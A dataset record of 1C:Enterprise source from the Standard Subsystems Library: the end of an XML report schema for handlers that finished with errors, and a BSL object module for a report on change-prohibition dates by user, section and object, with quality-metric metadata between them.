<dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>Количество</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:item> <dcsset:groupItems> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ИмяОбработчика</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> <dcsset:item xsi:type="dcsset:GroupItemField"> <dcsset:field>ИнформацияОбОшибке</dcsset:field> <dcsset:groupType>Items</dcsset:groupType> <dcsset:periodAdditionType>None</dcsset:periodAdditionType> <dcsset:periodAdditionBegin xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionBegin> <dcsset:periodAdditionEnd xsi:type="xs:dateTime">0001-01-01T00:00:00</dcsset:periodAdditionEnd> </dcsset:item> </dcsset:groupItems> <dcsset:order> <dcsset:item xsi:type="dcsset:OrderItemAuto"/> </dcsset:order> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemAuto"/> </dcsset:selection> </dcsset:item> </dcsset:item> </dcsset:row> <dcsset:selection> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ИмяБиблиотеки</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ИмяОбработчика</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ИнформацияОбОшибке</dcsset:field> </dcsset:item> <dcsset:item xsi:type="dcsset:SelectedItemField"> <dcsset:field>ОбластьДанных</dcsset:field> </dcsset:item> </dcsset:selection> <dcsset:outputParameters> <dcscor:item xsi:type="dcsset:SettingsParameterValue"> <dcscor:parameter>Заголовок</dcscor:parameter> <dcscor:value xsi:type="v8:LocalStringType"> <v8:item> <v8:lang>ru</v8:lang> <v8:content>Обработчики, завершенные с ошибкой</v8:content> </v8:item> </dcscor:value> </dcscor:item> </dcsset:outputParameters> </dcsset:item> </dcsset:settings> </settingsVariant> </DataCompositionSchema>
11,886
Template
xml
ru
xml
data
{"qsc_code_num_words": 1315, "qsc_code_num_chars": 11886.0, "qsc_code_mean_word_length": 6.11406844, "qsc_code_frac_words_unique": 0.10874525, "qsc_code_frac_chars_top_2grams": 0.06094527, "qsc_code_frac_chars_top_3grams": 0.03830846, "qsc_code_frac_chars_top_4grams": 0.05920398, "qsc_code_frac_chars_dupe_5grams": 0.7590796, "qsc_code_frac_chars_dupe_6grams": 0.73072139, "qsc_code_frac_chars_dupe_7grams": 0.70149254, "qsc_code_frac_chars_dupe_8grams": 0.68383085, "qsc_code_frac_chars_dupe_9grams": 0.66044776, "qsc_code_frac_chars_dupe_10grams": 0.62126866, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.02867133, "qsc_code_frac_chars_whitespace": 0.15783274, "qsc_code_size_file_byte": 11886.0, "qsc_code_num_lines": 329.0, "qsc_code_num_chars_line_max": 461.0, "qsc_code_num_chars_line_mean": 36.12765957, "qsc_code_frac_chars_alphabet": 0.77442557, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 1.0, "qsc_code_frac_lines_dupe_lines": 0.75683891, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.1548881, "qsc_code_frac_chars_long_word_length": 0.05199394, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 1, "qsc_code_mean_word_length": 0, "qsc_code_frac_words_unique": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 1, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 1, "qsc_code_frac_lines_dupe_lines": 1, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 1, "qsc_code_cate_autogen": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ДатыЗапретаИзменения/Ext/ObjectModule.bsl
/////////////////////////////////////////////////////////////////////////////////////////////////////// // Copyright (c) 2024, ООО 1С-Софт // Все права защищены. Эта программа и сопроводительные материалы предоставляются // в соответствии с условиями лицензии Attribution 4.0 International (CC BY 4.0) // Текст лицензии доступен по ссылке: // https://creativecommons.org/licenses/by/4.0/legalcode /////////////////////////////////////////////////////////////////////////////////////////////////////// #Если Сервер Или ТолстыйКлиентОбычноеПриложение Или ВнешнееСоединение Тогда #Область ПрограммныйИнтерфейс #Область ДляВызоваИзДругихПодсистем // СтандартныеПодсистемы.ВариантыОтчетов // Задать настройки формы отчета. // // Параметры: // Форма - ФормаКлиентскогоПриложения // - Неопределено // КлючВарианта - Строка // - Неопределено // Настройки - см. ОтчетыКлиентСервер.НастройкиОтчетаПоУмолчанию // Процедура ОпределитьНастройкиФормы(Форма, КлючВарианта, Настройки) Экспорт Настройки.ФормироватьСразу = Истина; Если Форма <> Неопределено Тогда УстановитьПредопределенныйПоВариантуВнедрения(Форма, КлючВарианта); КонецЕсли; КонецПроцедуры // Конец СтандартныеПодсистемы.ВариантыОтчетов #КонецОбласти #КонецОбласти #Область ОбработчикиСобытий Процедура ПриКомпоновкеРезультата(ДокументРезультат, ДанныеРасшифровки, СтандартнаяОбработка) СтандартнаяОбработка = Ложь; ДокументРезультат.Очистить(); Настройки = КомпоновщикНастроек.ПолучитьНастройки(); ВнешниеНаборыДанных = Новый Структура; ВнешниеНаборыДанных.Вставить("НаборДанных", ДатыЗапретаПодготовленные(Настройки.ПараметрыДанных)); КомпоновщикМакета = Новый КомпоновщикМакетаКомпоновкиДанных; МакетКомпоновки = КомпоновщикМакета.Выполнить(СхемаКомпоновкиДанных, Настройки, ДанныеРасшифровки); ПроцессорКомпоновки = Новый ПроцессорКомпоновкиДанных; ПроцессорКомпоновки.Инициализировать(МакетКомпоновки, ВнешниеНаборыДанных, ДанныеРасшифровки, Истина); ПроцессорВывода = Новый ПроцессорВыводаРезультатаКомпоновкиДанныхВТабличныйДокумент; ПроцессорВывода.УстановитьДокумент(ДокументРезультат); ПроцессорВывода.НачатьВывод(); ЭлементРезультата = ПроцессорКомпоновки.Следующий(); Пока ЭлементРезультата <> Неопределено Цикл ПроцессорВывода.ВывестиЭлемент(ЭлементРезультата); ЭлементРезультата = ПроцессорКомпоновки.Следующий(); КонецЦикла; ПроцессорВывода.ЗакончитьВывод(); КонецПроцедуры #КонецОбласти #Область СлужебныеПроцедурыИФункции Процедура УстановитьПредопределенныйПоВариантуВнедрения(Форма, КлючВарианта) Если Форма.Параметры.КлючВарианта <> Неопределено Тогда Возврат; // Вариант отчета указан при открытии. КонецЕсли; Попытка Свойства = ДатыЗапретаИзмененияСлужебный.СвойстваРазделов(); Исключение Свойства = Новый Структура("ПоказыватьРазделы, ВсеРазделыБезОбъектов", Ложь, Истина); КонецПопытки; Если Свойства.ПоказыватьРазделы И НЕ Свойства.ВсеРазделыБезОбъектов Тогда Если КлючВарианта <> "ДатыЗапретаИзмененияПоПользователям" И КлючВарианта <> "ДатыЗапретаИзмененияПоРазделамОбъектамДляПользователей" Тогда Форма.Параметры.КлючВарианта = "ДатыЗапретаИзмененияПоПользователям"; КонецЕсли; ИначеЕсли Свойства.ВсеРазделыБезОбъектов Тогда Если КлючВарианта <> "ДатыЗапретаИзмененияПоПользователямБезОбъектов" И КлючВарианта <> "ДатыЗапретаИзмененияПоРазделамДляПользователей" Тогда Форма.Параметры.КлючВарианта = "ДатыЗапретаИзмененияПоПользователямБезОбъектов"; КонецЕсли; Иначе Если КлючВарианта <> "ДатыЗапретаИзмененияПоПользователямБезРазделов" И КлючВарианта <> "ДатыЗапретаИзмененияПоОбъектамДляПользователей" Тогда Форма.Параметры.КлючВарианта = "ДатыЗапретаИзмененияПоПользователямБезРазделов"; КонецЕсли; КонецЕсли; КонецПроцедуры Функция ДатыЗапретаПодготовленные(ПараметрыДанных) Запрос = Новый Запрос; Запрос.Текст = ТекстЗапроса(); Запрос.УстановитьПараметр("ЗаданныеАдресаты", ЗначениеПользовательскогоПараметра(ПараметрыДанных, "Адресаты")); Запрос.УстановитьПараметр("ЗаданныеРазделы", ЗначениеПользовательскогоПараметра(ПараметрыДанных, "Разделы")); Запрос.УстановитьПараметр("ЗаданныеОбъекты", ЗначениеПользовательскогоПараметра(ПараметрыДанных, "Объекты")); Запрос.УстановитьПараметр("ДатыЗапретаИзменения", ДатыЗапретаИзмененияСлужебный.РассчитанныеДатыЗапретаИзменения()); Таблица = Запрос.Выполнить().Выгрузить(); Таблица.Колонки.Добавить("ОбъектПредставление", Новый ОписаниеТипов("Строка")); Таблица.Колонки.Добавить("РазделПредставление", Новый ОписаниеТипов("Строка")); Таблица.Колонки.Добавить("АдресатНастройкиПредставление", Новый ОписаниеТипов("Строка")); Таблица.Колонки.Добавить("ВладелецНастройкиПредставление", Новый ОписаниеТипов("Строка")); Таблица.Колонки.Добавить("НастройкаОбщаяДата", Новый ОписаниеТипов("Булево")); Таблица.Колонки.Добавить("НастройкаДляРаздела", Новый ОписаниеТипов("Булево")); Таблица.Колонки.Добавить("НастройкаДляВсехАдресатов", Новый ОписаниеТипов("Булево")); Для Каждого Строка Из Таблица Цикл Если Строка.Объект <> Строка.Раздел Тогда Строка.ОбъектПредставление = Строка(Строка.Объект); ИначеЕсли ЗначениеЗаполнено(Строка.Раздел) Тогда Строка.ОбъектПредставление = НСтр("ru = 'Для всех объектов, кроме указанных'"); Иначе Строка.ОбъектПредставление = НСтр("ru = 'Для всех разделов и объектов, кроме указанных'"); КонецЕсли; Если ЗначениеЗаполнено(Строка.Раздел) Тогда Строка.РазделПредставление = Строка(Строка.Раздел); Иначе Строка.РазделПредставление = "<" + НСтр("ru = 'Общая дата'") + ">"; КонецЕсли; Если Строка.АдресатНастройки = Перечисления.ВидыНазначенияДатЗапрета.ДляВсехПользователей Тогда Строка.АдресатНастройкиПредставление = НСтр("ru = 'Для всех пользователей, кроме указанных'"); Иначе Строка.АдресатНастройкиПредставление = Строка(Строка.АдресатНастройки); КонецЕсли; Если Строка.ВладелецНастройки = Перечисления.ВидыНазначенияДатЗапрета.ДляВсехПользователей Тогда Строка.ВладелецНастройкиПредставление = НСтр("ru = 'Для всех пользователей, кроме указанных'"); Иначе Строка.ВладелецНастройкиПредставление = Строка(Строка.ВладелецНастройки); КонецЕсли; Строка.НастройкаОбщаяДата = Не ЗначениеЗаполнено(Строка.Раздел); Строка.НастройкаДляРаздела = Строка.Объект = Строка.Раздел; Строка.НастройкаДляВсехАдресатов = Строка.АдресатНастройки = Перечисления.ВидыНазначенияДатЗапрета.ДляВсехПользователей; КонецЦикла; Возврат Таблица; КонецФункции Функция ЗначениеПользовательскогоПараметра(ПараметрыДанных, ИмяПараметра) Параметр = ПараметрыДанных.НайтиЗначениеПараметра(Новый ПараметрКомпоновкиДанных(ИмяПараметра)); Если Не Параметр.Использование Тогда Возврат Ложь; КонецЕсли; Если ТипЗнч(Параметр.Значение) = Тип("СписокЗначений") Тогда Возврат Параметр.Значение.ВыгрузитьЗначения(); КонецЕсли; Массив = Новый Массив; Массив.Добавить(Параметр.Значение); Возврат Массив; КонецФункции Функция ТекстЗапроса() // АПК:494-выкл - №656 Соединение с вложенным запросом допустимо, // так как объем данных небольшой (от единиц до сотен). // АПК:96-выкл - №434 Использование ОБЪЕДИНИТЬ допустимо, так как // строки не должны повторятся и объем данных небольшой (от единиц до сотен). Возврат "ВЫБРАТЬ | ДатыЗапретаИзменения.Раздел КАК Раздел, | ДатыЗапретаИзменения.Объект КАК Объект, | ДатыЗапретаИзменения.Пользователь КАК Пользователь, | ДатыЗапретаИзменения.ДатаЗапрета КАК ДатаЗапрета, | ДатыЗапретаИзменения.Комментарий КАК Комментарий |ПОМЕСТИТЬ ДатыЗапретаИзменения |ИЗ | &ДатыЗапретаИзменения КАК ДатыЗапретаИзменения |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ РАЗЛИЧНЫЕ | НастроенныеПользователиСГруппами.Пользователь КАК Пользователь, | ДатыЗапретаИзменения.Пользователь КАК ВладелецНастройки, | ДатыЗапретаИзменения.Раздел КАК Раздел, | ДатыЗапретаИзменения.Объект КАК Объект, | ДатыЗапретаИзменения.ДатаЗапрета КАК ДатаЗапрета, | КодыПриоритетов.Значение КАК Приоритет, | КодыПриоритетов.Владелец КАК ПриоритетВладельца, | ВЫБОР | КОГДА КодыПриоритетов.Владелец = ""1"" | ТОГДА ВЫБОР | КОГДА ДатыЗапретаИзменения.Комментарий = """" | ТОГДА ""0 "" | ИНАЧЕ ""1 "" | КОНЕЦ + (ВЫРАЗИТЬ(ДатыЗапретаИзменения.Комментарий КАК СТРОКА(100))) + (ВЫРАЗИТЬ(ЕСТЬNULL(ВЫБОР | КОГДА ТИПЗНАЧЕНИЯ(ДатыЗапретаИзменения.Пользователь) = ТИП(Справочник.ГруппыПользователей) | ТОГДА ВЫРАЗИТЬ(ДатыЗапретаИзменения.Пользователь КАК Справочник.ГруппыПользователей).Наименование | КОГДА ТИПЗНАЧЕНИЯ(ДатыЗапретаИзменения.Пользователь) = ТИП(Справочник.ГруппыВнешнихПользователей) | ТОГДА ВЫРАЗИТЬ(ДатыЗапретаИзменения.Пользователь КАК Справочник.ГруппыВнешнихПользователей).Наименование | ИНАЧЕ """" | КОНЕЦ, """") КАК СТРОКА(150))) | ИНАЧЕ """" | КОНЕЦ КАК ПриоритетГруппы |ПОМЕСТИТЬ ДатыЗапретаСоВсемиВладельцами |ИЗ | ДатыЗапретаИзменения КАК ДатыЗапретаИзменения | ВНУТРЕННЕЕ СОЕДИНЕНИЕ (ВЫБРАТЬ | 0 КАК Код, | 1 КАК Значение, | ""0"" КАК Владелец | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | 10, | 2, | ""0"" | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | 11, | 3, | ""0"" | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | 100, | 4, | ""1"" | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | 110, | 5, | ""1"" | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | 111, | 6, | ""1"" | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | 1000, | 7, | ""2"" | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | 1010, | 8, | ""2"" | | ОБЪЕДИНИТЬ ВСЕ | | ВЫБРАТЬ | 1011, | 9, | ""2"") КАК КодыПриоритетов | ПО (ВЫБОР | КОГДА ДатыЗапретаИзменения.Пользователь = ЗНАЧЕНИЕ(Перечисление.ВидыНазначенияДатЗапрета.ДляВсехПользователей) | ТОГДА 0 | КОГДА ТИПЗНАЧЕНИЯ(ДатыЗапретаИзменения.Пользователь) = ТИП(Справочник.ГруппыПользователей) | ТОГДА 100 | КОГДА ТИПЗНАЧЕНИЯ(ДатыЗапретаИзменения.Пользователь) = ТИП(Справочник.ГруппыВнешнихПользователей) | ТОГДА 100 | ИНАЧЕ 1000 | КОНЕЦ + ВЫБОР | КОГДА ДатыЗапретаИзменения.Объект = ДатыЗапретаИзменения.Раздел | ТОГДА 0 | ИНАЧЕ 1 | КОНЕЦ + ВЫБОР | КОГДА ДатыЗапретаИзменения.Раздел = ЗНАЧЕНИЕ(ПланВидовХарактеристик.РазделыДатЗапретаИзменения.ПустаяСсылка) | ТОГДА 0 | ИНАЧЕ 10 | КОНЕЦ = КодыПриоритетов.Код) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ (ВЫБРАТЬ | НастроенныеПользователи.Пользователь КАК Пользователь, | СоставыГруппПользователей.ГруппаПользователей КАК ГруппаПользователей | ИЗ | (ВЫБРАТЬ | СоставыГруппПользователей.Пользователь КАК Пользователь | ИЗ | ДатыЗапретаИзменения КАК ДатыЗапретаИзменения | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО ДатыЗапретаИзменения.Пользователь = СоставыГруппПользователей.ГруппаПользователей | И (ЛОЖЬ В (&ЗаданныеАдресаты)) | | ОБЪЕДИНИТЬ | | ВЫБРАТЬ | СоставыГруппПользователей.Пользователь | ИЗ | РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ГДЕ | СоставыГруппПользователей.Пользователь В(&ЗаданныеАдресаты)) КАК НастроенныеПользователи | ВНУТРЕННЕЕ СОЕДИНЕНИЕ РегистрСведений.СоставыГруппПользователей КАК СоставыГруппПользователей | ПО НастроенныеПользователи.Пользователь = СоставыГруппПользователей.Пользователь | | ОБЪЕДИНИТЬ | | ВЫБРАТЬ | ЗНАЧЕНИЕ(Перечисление.ВидыНазначенияДатЗапрета.ДляВсехПользователей), | ЗНАЧЕНИЕ(Перечисление.ВидыНазначенияДатЗапрета.ДляВсехПользователей) | ГДЕ | (ЛОЖЬ В (&ЗаданныеАдресаты) | ИЛИ ИСТИНА В (&ЗаданныеАдресаты))) КАК НастроенныеПользователиСГруппами | ПО (ДатыЗапретаИзменения.Пользователь В (ЗНАЧЕНИЕ(Перечисление.ВидыНазначенияДатЗапрета.ДляВсехПользователей), НастроенныеПользователиСГруппами.ГруппаПользователей)) | И (ДатыЗапретаИзменения.Объект <> НЕОПРЕДЕЛЕНО) | И (НЕ(ДатыЗапретаИзменения.Объект <> ДатыЗапретаИзменения.Раздел | И ДатыЗапретаИзменения.Раздел = ЗНАЧЕНИЕ(ПланВидовХарактеристик.РазделыДатЗапретаИзменения.ПустаяСсылка))) |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ РАЗЛИЧНЫЕ | ДатыЗапретаСоВсемиВладельцами.Пользователь КАК Пользователь, | ДатыЗапретаСоВсемиВладельцами.ВладелецНастройки КАК ВладелецНастройки, | ДатыЗапретаСоВсемиВладельцами.Раздел КАК Раздел, | ДатыЗапретаСоВсемиВладельцами.Объект КАК Объект, | ДатыЗапретаСоВсемиВладельцами.ДатаЗапрета КАК ДатаЗапрета, | ДатыЗапретаСоВсемиВладельцами.Приоритет КАК Приоритет |ПОМЕСТИТЬ ДатыЗапрета |ИЗ | ДатыЗапретаСоВсемиВладельцами КАК ДатыЗапретаСоВсемиВладельцами | ВНУТРЕННЕЕ СОЕДИНЕНИЕ (ВЫБРАТЬ | ПриоритетыВладельцев.Пользователь КАК Пользователь, | МАКСИМУМ(ПриоритетыВладельцев.ПриоритетВладельца) КАК ПриоритетВладельца | ИЗ | ДатыЗапретаСоВсемиВладельцами КАК ПриоритетыВладельцев | | СГРУППИРОВАТЬ ПО | ПриоритетыВладельцев.Пользователь) КАК ПриоритетныеВладельцы | ПО ДатыЗапретаСоВсемиВладельцами.Пользователь = ПриоритетныеВладельцы.Пользователь | И ДатыЗапретаСоВсемиВладельцами.ПриоритетВладельца = ПриоритетныеВладельцы.ПриоритетВладельца | ВНУТРЕННЕЕ СОЕДИНЕНИЕ (ВЫБРАТЬ | ПриоритетныеГруппы.Пользователь КАК Пользователь, | ПриоритетныеГруппы.ПриоритетВладельца КАК ПриоритетВладельца, | МАКСИМУМ(ПриоритетныеГруппы.ПриоритетГруппы) КАК ПриоритетГруппы | ИЗ | ДатыЗапретаСоВсемиВладельцами КАК ПриоритетныеГруппы | | СГРУППИРОВАТЬ ПО | ПриоритетныеГруппы.Пользователь, | ПриоритетныеГруппы.ПриоритетВладельца) КАК ПриоритетыГрупп | ПО ДатыЗапретаСоВсемиВладельцами.Пользователь = ПриоритетыГрупп.Пользователь | И ДатыЗапретаСоВсемиВладельцами.ПриоритетВладельца = ПриоритетыГрупп.ПриоритетВладельца | И ДатыЗапретаСоВсемиВладельцами.ПриоритетГруппы = ПриоритетыГрупп.ПриоритетГруппы |; | |//////////////////////////////////////////////////////////////////////////////// |ВЫБРАТЬ РАЗЛИЧНЫЕ | ДатыЗапрета.Пользователь КАК АдресатНастройки, | ДатыЗапрета.ВладелецНастройки КАК ВладелецНастройки, | ДатыЗапрета.Раздел КАК Раздел, | ДатыЗапрета.Объект КАК Объект, | ПриоритетныеДатыСПричинамиИсключения.ДатаЗапрета КАК ДатаЗапрета, | ДатыЗапрета.ДатаЗапрета КАК ДатаЗапретаНастройки, | ДатыЗапрета.Приоритет КАК ПриоритетНастройки, | ДатыЗапретаИзменения.Комментарий КАК КомментарийНастройки, | ПриоритетныеДатыСПричинамиИсключения.Комментарий КАК Комментарий |ИЗ | ДатыЗапрета КАК ДатыЗапрета | ВНУТРЕННЕЕ СОЕДИНЕНИЕ (ВЫБРАТЬ | ПриоритетныеДаты.Пользователь КАК Пользователь, | ПриоритетныеДаты.Раздел КАК Раздел, | ПриоритетныеДаты.Объект КАК Объект, | ПриоритетныеДаты.ДатаЗапрета КАК ДатаЗапрета, | МАКСИМУМ(ДатыЗапретаИзменения.Комментарий) КАК Комментарий | ИЗ | (ВЫБРАТЬ | ДатыЗапрета.Пользователь КАК Пользователь, | ДатыЗапрета.Раздел КАК Раздел, | ДатыЗапрета.Объект КАК Объект, | МАКСИМУМ(ДатыЗапрета.ДатаЗапрета) КАК ДатаЗапрета, | МАКСИМУМ(ДатыЗапрета.Приоритет) КАК Приоритет | ИЗ | ДатыЗапрета КАК ДатыЗапрета | ВНУТРЕННЕЕ СОЕДИНЕНИЕ (ВЫБРАТЬ | ДатыЗапрета.Пользователь КАК Пользователь, | ДатыЗапрета.Раздел КАК Раздел, | ДатыЗапрета.Объект КАК Объект, | МАКСИМУМ(ДатыЗапрета.Приоритет) КАК Приоритет | ИЗ | ДатыЗапрета КАК ДатыЗапрета | | СГРУППИРОВАТЬ ПО | ДатыЗапрета.Пользователь, | ДатыЗапрета.Раздел, | ДатыЗапрета.Объект) КАК МаксимальныйПриоритет | ПО ДатыЗапрета.Пользователь = МаксимальныйПриоритет.Пользователь | И ДатыЗапрета.Раздел = МаксимальныйПриоритет.Раздел | И ДатыЗапрета.Объект = МаксимальныйПриоритет.Объект | И ДатыЗапрета.Приоритет = МаксимальныйПриоритет.Приоритет | | СГРУППИРОВАТЬ ПО | ДатыЗапрета.Пользователь, | ДатыЗапрета.Раздел, | ДатыЗапрета.Объект) КАК ПриоритетныеДаты | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ДатыЗапрета КАК ДатыЗапрета | ПО (ДатыЗапрета.Пользователь = ПриоритетныеДаты.Пользователь) | И (ДатыЗапрета.Раздел = ПриоритетныеДаты.Раздел) | И (ДатыЗапрета.Объект = ПриоритетныеДаты.Объект) | И (ДатыЗапрета.Приоритет = ПриоритетныеДаты.Приоритет) | И (ДатыЗапрета.ДатаЗапрета = ПриоритетныеДаты.ДатаЗапрета) | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ДатыЗапретаИзменения КАК ДатыЗапретаИзменения | ПО (ДатыЗапрета.ВладелецНастройки = ДатыЗапретаИзменения.Пользователь) | И (ДатыЗапрета.Раздел = ДатыЗапретаИзменения.Раздел) | И (ДатыЗапрета.Объект = ДатыЗапретаИзменения.Объект) | И (ДатыЗапрета.ДатаЗапрета = ДатыЗапретаИзменения.ДатаЗапрета) | | СГРУППИРОВАТЬ ПО | ПриоритетныеДаты.Пользователь, | ПриоритетныеДаты.Раздел, | ПриоритетныеДаты.Объект, | ПриоритетныеДаты.Приоритет, | ПриоритетныеДаты.ДатаЗапрета) КАК ПриоритетныеДатыСПричинамиИсключения | ПО ДатыЗапрета.Пользователь = ПриоритетныеДатыСПричинамиИсключения.Пользователь | И ДатыЗапрета.Раздел = ПриоритетныеДатыСПричинамиИсключения.Раздел | И ДатыЗапрета.Объект = ПриоритетныеДатыСПричинамиИсключения.Объект | ВНУТРЕННЕЕ СОЕДИНЕНИЕ ДатыЗапретаИзменения КАК ДатыЗапретаИзменения | ПО ДатыЗапрета.ВладелецНастройки = ДатыЗапретаИзменения.Пользователь | И ДатыЗапрета.Раздел = ДатыЗапретаИзменения.Раздел | И ДатыЗапрета.Объект = ДатыЗапретаИзменения.Объект |ГДЕ | (ЛОЖЬ В (&ЗаданныеРазделы) | ИЛИ ДатыЗапрета.Раздел = ЗНАЧЕНИЕ(ПланВидовХарактеристик.РазделыДатЗапретаИзменения.ПустаяСсылка) | ИЛИ ДатыЗапрета.Раздел В (&ЗаданныеРазделы)) | И (ЛОЖЬ В (&ЗаданныеОбъекты) | ИЛИ ДатыЗапрета.Объект = ДатыЗапрета.Раздел | ИЛИ ДатыЗапрета.Объект В (&ЗаданныеОбъекты))"; // АПК:96-вкл. // АПК:494-вкл. КонецФункции #КонецОбласти #Иначе ВызватьИсключение НСтр("ru = 'Недопустимый вызов объекта на клиенте.'"); #КонецЕсли
17,798
ObjectModule
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 1314, "qsc_code_num_chars": 17798.0, "qsc_code_mean_word_length": 10.2435312, "qsc_code_frac_words_unique": 0.2130898, "qsc_code_frac_chars_top_2grams": 0.0167162, "qsc_code_frac_chars_top_3grams": 0.02005944, "qsc_code_frac_chars_top_4grams": 0.00965825, "qsc_code_frac_chars_dupe_5grams": 0.24138187, "qsc_code_frac_chars_dupe_6grams": 0.19992571, "qsc_code_frac_chars_dupe_7grams": 0.14375929, "qsc_code_frac_chars_dupe_8grams": 0.11968796, "qsc_code_frac_chars_dupe_9grams": 0.08952452, "qsc_code_frac_chars_dupe_10grams": 0.04888559, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00629219, "qsc_code_frac_chars_whitespace": 0.14276885, "qsc_code_size_file_byte": 17798.0, "qsc_code_num_lines": 476.0, "qsc_code_num_chars_line_max": 170.0, "qsc_code_num_chars_line_mean": 37.3907563, "qsc_code_frac_chars_alphabet": 0.87559809, "qsc_code_frac_chars_comments": 0.47022137, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.38683128, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1c-syntax/ssl_3_1
src/cf/Reports/ДатыЗапретаИзменения/Ext/ManagerModule.bsl
